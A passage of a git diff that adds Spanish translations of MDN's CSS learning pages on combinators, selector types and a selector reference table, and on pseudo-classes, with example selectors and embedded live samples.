+<p>Los conceptos explicados en esta lección son cada vez más importantes en CSS. Un entendimiento pleno de las direcciones en bloque y en línea, y como el flujo de texto cambia con la variación de los modos de escritura, van a ser de gran ayuda en el futuro. Te ayudará a entender CSS incluso si nunca usas un modo de escritura diferente al horizontal.</p>
+
+<p>En el módulo siguiente, vamos a echar un buen vistazo al desbordamiento en CSS</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/es/docs/Learn/CSS/Building_blocks/Cascada_y_herencia">Cascada y herencia</a></li>
+ <li><a href="/es/docs/Web/CSS/Selectores_CSS">Selectores CSS</a>
+  <ul>
+   <li><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Selectores_de_tipo_clase_e_ID">Selectores de tipo, clase e ID</a></li>
+   <li><a href="/es/docs/Web/CSS/Selectores_atributo">Selectores de atributo</a></li>
+   <li><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Pseudo-clases_y_pseudo-elementos">Pseudoclases y pseudoelementos</a></li>
+   <li><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Combinadores">Combinadores</a></li>
+  </ul>
+ </li>
+ <li><a href="/es/docs/Learn/CSS/Building_blocks/El_modelo_de_caja">The box model</a></li>
+ <li><a href="/es/docs/Learn/CSS/Building_blocks/Fondos_y_bordes">Backgrounds and borders</a></li>
+ <li><a href="/es/docs/Learn/CSS/Building_blocks/Manejando_diferentes_direcciones_de_texto">Handling different text directions</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">Overflowing content</a></li>
+ <li><a href="/es/docs/Learn/CSS/Building_blocks/Valores_y_unidades_CSS">Values and units</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Sizing items in CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, media, and form elements</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Styling tables</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Debugging CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizing your CSS</a></li>
+</ol>
diff --git a/files/es/learn/css/building_blocks/selectores_css/combinadores/index.html b/files/es/learn/css/building_blocks/selectores_css/combinadores/index.html
new file mode 100644
index 0000000000..54f416456d
--- /dev/null
+++ b/files/es/learn/css/building_blocks/selectores_css/combinadores/index.html
@@ -0,0 +1,111 @@
+---
+title: Combinadores
+slug: Learn/CSS/Building_blocks/Selectores_CSS/Combinadores
+translation_of: Learn/CSS/Building_blocks/Selectors/Combinators
+---
+<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}</p>
+
+<p>Los últimos selectores que veremos son los llamados selectores de combinación. Se llaman así porqué combinan otros selectores de manera que proporciona una relación útil entre ellos y la ubicación del contenido en el documento.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico</a> instalado, conocimientos básicos de <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, HTML básico (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>) y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos con el CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Conocer los diferentes selectores de combinación que se pueden utilizar en el CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Selector_de_descendientes">Selector de descendientes</h2>
+
+<p>Ya hemos visto los selectores de descendientes en artículos anteriores (selectores con espacios entre ellos):</p>
+
+<pre class="brush: css notranslate">body article p</pre>
+
+<p>Estos selectores seleccionan elementos que son descendientes de otros selectores. No es necesario que sean hijos directos.</p>
+
+<p>En el ejemplo siguiente seleccionamos solo el elemento <code>&lt;p&gt;</code> que hay dentro de un elemento con una clase <code>.box</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/descendant.html", '100%', 500)}}</p>
+
+<h2 id="Selector_de_combinación_de_elementos_hijo">Selector de combinación de elementos hijo</h2>
+
+<p>El selector de combinación de elementos hijo es un símbolo de «mayor que» (<code>&gt;</code>), que selecciona solo cuando los selectores identifican elementos que son hijos directos. Los elementos descendientes que se encuentran más abajo en la jerarquía no se seleccionan. Por ejemplo, para seleccionar solo los elementos <code>&lt;p&gt;</code> que son hijos directos de elementos <code>&lt;article&gt;</code>:</p>
+
+<pre class="brush: css notranslate">article &gt; p</pre>
+
+<p>En el ejemplo siguiente hay una lista ordenada anidada dentro de otra lista no ordenada. Utilizamos los selectores de elementos hijo para seleccionar solo los elementos <code>&lt;li&gt;</code> que son hijos directos de <code>&lt;ul&gt;</code> y les aplicamos un borde superior.</p>
+
+<p>Si eliminamos el símbolo <code>&gt;</code> que lo identifica como un selector de elementos hijo, lo convertimos en un selector de elementos descendientes y se aplicará el borde rojo a todos los elementos <code>&lt;li&gt;</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/child.html", '100%', 600)}}</p>
+
+<h2 id="Hermanos_adyacentes">Hermanos adyacentes</h2>
+
+<p>El selector de elementos hermanos adyacentes (<code>+</code>) se utiliza para seleccionar un elemento que se encuentra justo al lado de otro elemento en el mismo nivel de la jerarquía. Por ejemplo, para seleccionar todos los elementos <code>&lt;img&gt;</code> que aparecen justo después de elementos <code>&lt;p&gt;</code>:</p>
+
+<pre class="brush: css notranslate">p + img</pre>
+
+<p>El caso de uso más común es modificar el párrafo que va justo después del título, como en el ejemplo siguiente. Vamos a buscar un párrafo que sea directamente adyacente a <code>&lt;h1&gt;</code> y le vamos a aplicar un estilo.</p>
+
+<p>Si insertas algún otro elemento, como <code>&lt;h2&gt;</code> entre las etiquetas <code>&lt;h1&gt;</code> y <code>&lt;p&gt;</code>, verás que el selector ya no selecciona el párrafo y no se muestra con los mismos colores de fondo y de primer plano que cuando es adyacente.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/adjacent.html", '100%', 800)}}</p>
+
+<h2 id="Hermanos_generales">Hermanos generales</h2>
+
+<p>Si deseas seleccionar los hermanos de un elemento, incluso si no son directamente adyacentes, puedes utilizar el combinador de hermanos general (<code>~</code>). Por ejemplo, para seleccionar todos los elementos <code>&lt;img&gt;</code> que aparecen <em>después</em> de los elementos <code>&lt;p&gt;</code>, hacemos esto:</p>
+
+<pre class="brush: css notranslate">p ~ img</pre>
+
+<p>En el ejemplo siguiente seleccionamos todos los elementos <code>&lt;p&gt;</code> que vienen después de <code>&lt;h1&gt;</code>, y aunque en el documento también hay un <code>&lt;div&gt;</code>, se selecciona incluso la etiqueta <code>&lt;p&gt;</code> que viene después.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/general.html", '100%', 600)}}</p>
+
+<h2 id="El_uso_de_selectores_de_combinación">El uso de selectores de combinación</h2>
+
+<p>Puedes combinar cualquiera de los selectores de los artículos anteriores con selectores de combinación para seleccionar una parte del documento. Por ejemplo, podrías utilizar el código siguiente para seleccionar elementos de una lista con una clase «a» que son hijos directos de <code>&lt;ul&gt;</code>:</p>
+
+<pre class="brush: css notranslate">ul &gt; li[class="a"]  {  }</pre>
+
+<p>Ten cuidado cuando creas largas listas de selectores que seleccionan partes del documento muy específicas. Te será difícil volver a utilizar las reglas CSS porque has definido un selector muy específico para la ubicación del elemento en el marcado.</p>
+
+<p>A menudo es mejor crear una clase sencilla y aplicarla al elemento en cuestión. Dicho esto, tu conocimiento de los selectores de combinación te será muy útil si necesitas modificar algo del documento y no puedes acceder al código HTML (tal vez porque se haya generado a partir de CMS).</p>
+
+<h2 id="Comprueba_tus_habilidades">Comprueba tus habilidades</h2>
+
+<p>Hemos cubierto mucho terreno en este artículo. ¿Recuerdas la información más importante? Encontrarás más pruebas para verificar que retienes esa información en <a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Selectors_Tasks">Test your skills: Selectors</a>.</p>
+
+<h2 id="Continuamos">Continuamos</h2>
+
+<p>Esta es la última sección de nuestros artículos sobre selectores. A continuación vamos a pasar a otra parte importante del CSS: <a href="/es/docs/Learn/CSS/Building_blocks/El_modelo_de_caja">el modelo de caja CSS</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">La cascada y la herencia</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, de clase y de ID</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de atributo</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Las pseudoclases y los pseudoelementos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Selectores de combinación</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de caja</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">El uso de diferentes direcciones de texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">El desbordamiento de los contenidos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Los valores y las unidades</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Elementos de dimensionado en CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Elementos de imagen, de media y de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Estilo de las tablas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depurar el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizar el CSS</a></li>
+</ol>
diff --git a/files/es/learn/css/building_blocks/selectores_css/index.html b/files/es/learn/css/building_blocks/selectores_css/index.html
new file mode 100644
index 0000000000..d0ea61da20
--- /dev/null
+++ b/files/es/learn/css/building_blocks/selectores_css/index.html
@@ -0,0 +1,223 @@
+---
+title: Selectores CSS
+slug: Learn/CSS/Building_blocks/Selectores_CSS
+translation_of: Learn/CSS/Building_blocks/Selectors
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</div>
+
+<p class="summary">En {{Glossary( "CSS")}} los selectores se utilizan para delimitar los elementos {{glossary("HTML")}} de nuestra página web a los que queremos aplicar estilo. Hay una amplia variedad de selectores CSS, lo que permite una gran precisión a la hora de seleccionar elementos a los que aplicar estilo. En este artículo y sus subartículos veremos con detalle todos los tipos y el modo como funcionan.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Nociones básicas de informática, tener el <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico instalado</a>, conocimientos básicos de <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, conocimientos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>) y una idea de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos con CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender con detalle cómo funcionan los selectores CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_un_selector">¿Qué es un selector?</h2>
+
+<p>En un artículo anterior explicamos qué son los selectores. Un selector CSS es la primera parte de una regla CSS. Es un patrón de elementos y otros términos que indican al navegador qué elementos HTML se seleccionan para aplicarles una regla que incluye los valores de las propiedades CSS. El elemento o los elementos seleccionados por el selector se denominan <em>sujeto del selector</em>.</p>
+
+<p><img alt="Fragmento de código con el elemento h1 resaltado." src="https://mdn.mozillademos.org/files/16550/selector.png" style="border: 1px solid #cccccc; height: 218px; width: 471px;"></p>
+
+<p>En artículos anteriores ya has visto algunos selectores y has aprendido que hay diversas maneras de organizar el documento. Por ejemplo, seleccionando un elemento, como <code>h1</code>, o seleccionando una clase, como <code>.special</code>.</p>
+
+<p>En CSS, los selectores se definen en la especificación de selectores de CSS correspondiente; al igual que cualquier otro elemento de CSS, es necesario que los navegadores los admitan para que funcionen. La mayoría de los selectores que encontrarás se definen en <a href="https://www.w3.org/TR/selectors-3/">especificación de nivel 3 de selectores</a>, que es una especificación consolidada y, por lo tanto, la mayoría de navegadores admitirán esos selectores.</p>
+
+<h2 id="Listas_de_selectores">Listas de selectores</h2>
+
+<p>Si más de un elemento utiliza el mismo CSS, puedes combinar los selectores en una <em>lista de selectores</em> para que la regla se aplique a cada uno de los selectores individuales. Por ejemplo, si tengo el mismo CSS para un <code>h1</code> y para una clase <code>.special</code>, los puedo escribir como dos reglas separadas.</p>
+
+<pre class="brush: css notranslate"><code>h1 {
+  color: blue;
+}
+
+.special {
+  color: blue;
+} </code></pre>
+
+<p>También los podrías combinar en una lista de selectores, separándolos con una coma.</p>
+
+<pre class="brush: css notranslate"><code>h1, .special {
+  color: blue;
+} </code></pre>
+
+<p>Es posible dejar un espacio en blanco tanto antes como después de la coma. Incluso puede resultar más legible si cada selector se encuentra en una línea distinta.</p>
+
+<pre class="brush: css notranslate"><code>h1,
+.special {
+  color: blue;
+} </code></pre>
+
+<p>En el ejemplo siguiente, intenta combinar los dos selectores de modo que tengan la misma declaración. El aspecto visual debe permanecer igual tras la combinación.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/selector-list.html", '100%', 1000)}} </p>
+
+<p>Cuando agrupas los selectores de esta manera, si alguno de los selectores no es válido, el navegador sencillamente ignora toda la regla.</p>
+
+<p>En el ejemplo siguiente, la regla que corresponde al selector de clase que no es válido se ignora, mientras que el estilo se aplica al elemento <code>h1</code>.</p>
+
+<pre class="brush: css notranslate"><code>h1 {
+  color: blue;
+}
+
+..special {
+  color: blue;
+} </code></pre>
+
+<p>Sin embargo, si se combinan, toda la regla se considera no válida y no se aplicará estilo ni a <code>h1</code> ni a la clase.</p>
+
+<pre class="brush: css notranslate"><code>h1, ..special {
+  color: blue;
+} </code></pre>
+
+<h2 id="Tipos_de_selectores">Tipos de selectores</h2>
+
+<p>Hay diferentes agrupaciones de selectores, y conocer qué tipo de selector necesitas te ayudará a encontrar la herramienta adecuada para tu trabajo. En estos subartículos vamos a ver los diferentes grupos de selectores con más detalle.</p>
+
+<h3 id="Selectores_de_tipo_de_clase_y_de_ID">Selectores de tipo, de clase y de ID</h3>
+
+<p>Este grupo incluye selectores que delimitan un elemento HTML, como por ejemplo un <code>&lt;h1&gt;</code>.</p>
+
+<pre class="brush: css notranslate">h1 { }</pre>
+
+<p>También incluye selectores que delimitan una clase:</p>
+
+<pre class="brush: css notranslate">.box { }</pre>
+
+<p>o un ID:</p>
+
+<pre class="brush: css notranslate">#unique { }</pre>
+
+<h3 id="Selectores_de_atributo">Selectores de atributo</h3>
+
+<p>Este grupo de selectores te proporciona diferentes formas de seleccionar elementos según la presencia de un atributo determinado en un elemento:</p>
+
+<pre class="brush: css notranslate">a[title] { }</pre>
+
+<p>O incluso hacer una selección basada en la presencia de un atributo que tiene un valor particular asignado:</p>
+
+<pre class="brush: css notranslate">a[href="https://example.com"] { }</pre>
+
+<h3 id="Las_pseudoclases_y_los_pseudoelementos">Las pseudoclases y los pseudoelementos</h3>
+
+<p>Este grupo de selectores incluye pseudoclases, que aplican estilo a ciertos estados de un elemento. La pseudoclase <code>:hover</code>, por ejemplo, selecciona un elemento solo cuando se le pasa el ratón por encima.</p>
+
+<pre class="brush: css notranslate">a: hover {}</pre>
+
+<p>También incluye pseudoelementos, que seleccionan una parte determinada de un elemento en vez del elemento en sí. Por ejemplo, <code>::first-line</code> siempre selecciona la primera línea del texto que se encuentra dentro de un elemento (<code>&lt;p&gt;</code>, en el ejemplo siguiente), y actúa como si un elemento <code>&lt;span&gt;</code> hubiera delimitado la primera línea, seleccionado y aplicado estilo.</p>
+
+<pre class="brush: css notranslate">p::first-line { }</pre>
+
+<h3 id="Combinadores">Combinadores</h3>
+
+<p>El último grupo de selectores combina otros selectores con el fin de delimitar elementos de nuestros documentos. El ejemplo siguiente selecciona los párrafos que son hijos directos del elemento <code>&lt;article&gt;</code> utilizando el operador de combinación hijo (<code>&gt;</code>):</p>
+
+<pre class="brush: css notranslate">article &gt; p { }</pre>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>Echa un vistazo a esta tabla de referencia de selectores que contiene enlaces directos a los distintos tipos de selectores que se explican en nuestra sección de aprendizaje o en MDN, o bien sigue adelante e inicia tu viaje para averiguar cómo funcionan en <a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Selectores_de_tipo_clase_e_ID">Selectores de tipo, de clase y de ID</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="Tabla_de_referencia_de_selectores">Tabla de referencia de selectores</h2>
+
+<p>La tabla que te mostramos a continuación proporciona una descripción general de los selectores que puedes utilizar junto con enlaces a diversas páginas de esta guía que te mostrarán cómo utilizar cada tipo de selector. También hemos incluido un enlace a la página MDN de cada selector para poder comprobar la información sobre los navegadores que lo admiten. Puedes utilizarlo como referencia para volver cuando necesites buscar los selectores a medida que avanzas con la materia o mientras experimentas con CSS por tu cuenta.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Selector</th>
+   <th scope="col">Ejemplo</th>
+   <th scope="col">Tutorial de aprendizaje de CSS</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/es/docs/Web/CSS/Type_selectors">Selector de tipo</a></td>
+   <td><code>h1 {  }</code></td>
+   <td><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Selectores_de_tipo_clase_e_ID#Tipos_de_selectores">Los tipos de selectores</a></td>
+  </tr>
+  <tr>
+   <td><a href="/es/docs/Web/CSS/Universal_selectors">Selector universal</a></td>
+   <td><code>* {  }</code></td>
+   <td><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Selectores_de_tipo_clase_e_ID#El_selector_universal">El selector universal</a></td>
+  </tr>
+  <tr>
+   <td><a href="/es/docs/Web/CSS/Class_selectors">Selector de clase</a></td>
+   <td><code>.box {  }</code></td>
+   <td><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Selectores_de_tipo_clase_e_ID#Selectores_de_clase">Los selectores de clase</a></td>
+  </tr>
+  <tr>
+   <td><a href="/es/docs/Web/CSS/ID_selectors">Selector de ID</a></td>
+   <td><code>#unique { }</code></td>
+   <td><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Selectores_de_tipo_clase_e_ID#Selectores_de_ID">Los selectores de ID</a></td>
+  </tr>
+  <tr>
+   <td><a href="/es/docs/Web/CSS/Selectores_atributo">Selector de atributo</a></td>
+   <td><code>a[title] {  }</code></td>
+   <td><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Selectores_de_atributos">Los selectores de atributo</a></td>
+  </tr>
+  <tr>
+   <td><a href="/es/docs/Web/CSS/Pseudo-classes">Pseudoclase</a></td>
+   <td><code>p:first-child { }</code></td>
+   <td><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Pseudo-clases_y_pseudo-elementos#%C2%BFQu%C3%A9_es_una_pseudoclase">Las pseudoclases</a></td>
+  </tr>
+  <tr>
+   <td><a href="/es/docs/Web/CSS/Pseudoelementos">Pseudoelemento</a></td>
+   <td><code>p::first-line { }</code></td>
+   <td><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Pseudo-clases_y_pseudo-elementos#%C2%BFQu%C3%A9_es_un_pseudoelemento">Los pseudoelementos</a></td>
+  </tr>
+  <tr>
+   <td><a href="/es/docs/Web/CSS/Descendant_combinator">Operadores de combinación descendentes</a></td>
+   <td><code>article p</code></td>
+   <td><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Combinadores#Selector_de_descendientes">Operadores de combinación descendentes</a></td>
+  </tr>
+  <tr>
+   <td><a href="/es/docs/Web/CSS/Child_combinator">Operador de combinación de elementos hijo</a></td>
+   <td><code>article &gt; p</code></td>
+   <td><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Combinadores#Selector_de_combinaci%C3%B3n_de_elementos_hijo">Operadores de combinación de elementos hijo</a></td>
+  </tr>
+  <tr>
+   <td><a href="/es/docs/Web/CSS/Selectores_hermanos_adyacentes">Operador de combinación de elementos hermanos adyacentes</a></td>
+   <td><code>h1 + p</code></td>
+   <td><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Combinadores#Hermanos_adyacentes">Hermanos adyacentes</a></td>
+  </tr>
+  <tr>
+   <td><a href="/es/docs/Web/CSS/Selectores_hermanos_generales">Operador de combinación general de elementos hermanos</a></td>
+   <td><code>h1 ~ p</code></td>
+   <td><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Combinadores#Hermanos_generales">Hermanos generales</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">La cascada y la herencia</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, de clase y de ID</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de atributo</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Las pseudoclases y los pseudoelementos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Operadores de combinación</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de caja</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">El uso de diferentes direcciones de texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">El desbordamiento de los contenidos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Los valores y las unidades</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Elementos de dimensionado en CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Imágenes, media y elementos de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depurar el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizar el CSS</a></li>
+</ol>
diff --git a/files/es/learn/css/building_blocks/selectores_css/pseudo-clases_y_pseudo-elementos/index.html b/files/es/learn/css/building_blocks/selectores_css/pseudo-clases_y_pseudo-elementos/index.html
new file mode 100644
index 0000000000..f48dfdcbd5
--- /dev/null
+++ b/files/es/learn/css/building_blocks/selectores_css/pseudo-clases_y_pseudo-elementos/index.html
@@ -0,0 +1,397 @@
+---
+title: Pseudoclases y pseudoelementos
+slug: Learn/CSS/Building_blocks/Selectores_CSS/Pseudo-clases_y_pseudo-elementos
+translation_of: Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements
+---
+<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}</p>
+
+<p>El conjunto de selectores que estudiaremos en este artículo se conocen como <strong>pseudoclases</strong> y <strong>pseudoelementos</strong>. Hay muchos y a menudo sirven para fines muy específicos. Una vez que sepas cómo usarlos, puedes echar un vistazo a la lista para ver si alguno sirve para la página que quieres crear. Una vez más, la página correspondiente de MDN resulta muy útil para conocer qué navegadores los admiten o no.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico instalado</a>, conocimientos básicos de <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, HTML básico (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>) y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos con el CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Obtener información sobre los selectores de pseudoclases y pseudoelementos.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_una_pseudoclase">¿Qué es una pseudoclase?</h2>
+
+<p>Una pseudoclase es un selector que marca los elementos que están en un estado específico, por ejemplo, los que son el primer elemento de su tipo, o aquellos por los que el cursor les pasa por encima. Tienden a actuar como si hubieras aplicado una clase en una parte determinada del documento y, a menudo, ayudan a reducir el exceso de clases y proporcionan un marcado más flexible y fácil de mantener.</p>
+
+<p>Las pseudoclases son palabras clave que comienzan con dos puntos:</p>
+
+<pre class="notranslate">:<em>pseudo-class-name</em></pre>
+
+<h3 id="Ejemplos_simples_de_pseudoclases">Ejemplos simples de pseudoclases</h3>
+
+<p>Echemos un vistazo a algunos ejemplos. Si queremos el primer párrafo de un artículo en letra más grande y en negrita, podemos añadir una clase a ese párrafo y luego añadirle CSS a esa clase, como se muestra en este ejemplo:</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-child.html", '100%', 800)}}</p>
+
+<p>Sin embargo, podría ser complicado de mantener. ¿Y si añadiésemos un párrafo nuevo en la parte superior del documento? Habría que mover la clase para que quede antes del nuevo párrafo. En lugar de añadir la clase, podríamos utilizar el selector de pseudoclase {{cssxref(":first-child")}}, que <em>siempre</em> seleccionará el primer elemento hijo del artículo, y de esta forma no tendremos que editar el código HTML (esto no siempre es posible, tal vez debido a que lo genera un CMS).</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-child2.html", '100%', 700)}}</p>
+
+<p>Todas las pseudoclases se comportan del mismo modo. Seleccionan un fragmento del documento que está en un estado determinado y se comportan como si se hubiera añadido una clase a su HTML. Echa un vistazo a otros ejemplos en MDN:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/CSS/:last-child">:last-child</a></code></li>
+ <li><code><a href="/en-US/docs/Web/CSS/:only-child">:only-child</a></code></li>
+ <li><code><a href="/en-US/docs/Web/CSS/:invalid">:invalid</a></code></li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Es válido escribir pseudoclases y pseudoelementos sin que les preceda un selector de elemento. En el ejemplo anterior, podría escribirse <code>:first-child</code> y la regla se aplicaríaa cualquier elemento que sea el primer hijo de un elemento <code>&lt;article&gt;</code>, no solo un párrafo primer hijo. <code>:first-child</code> equivale a <code>*:first-child</code>. Pero normalmente se quiere más control y hay que ser más específico.</p>
+</div>
+
+<h3 id="Pseudoclases_de_acción_de_usuario">Pseudoclases de acción de usuario</h3>
+
+<p>Algunas pseudoclases solo intervienen cuando el usuario interactúa con el documento de alguna manera. Estas pseudoclases de <strong>acción de usuario</strong>, que también reciben el nombre de <strong>pseudoclases dinámicas</strong>, actúan como si se añadiese una clase al elemento cuando el usuario interactúa con él. Algunos ejemplos son:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/CSS/:hover">:hover</a></code>: solo interviene si el usuario pasa el cursor sobre un elemento, normalmente un enlace.</li>
+ <li><code><a href="/en-US/docs/Web/CSS/:focus">:focus</a></code>: solo interviene si el usuario selecciona el elemento con los controles del teclado.</li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/hover.html", '100%', 500)}}</p>
+
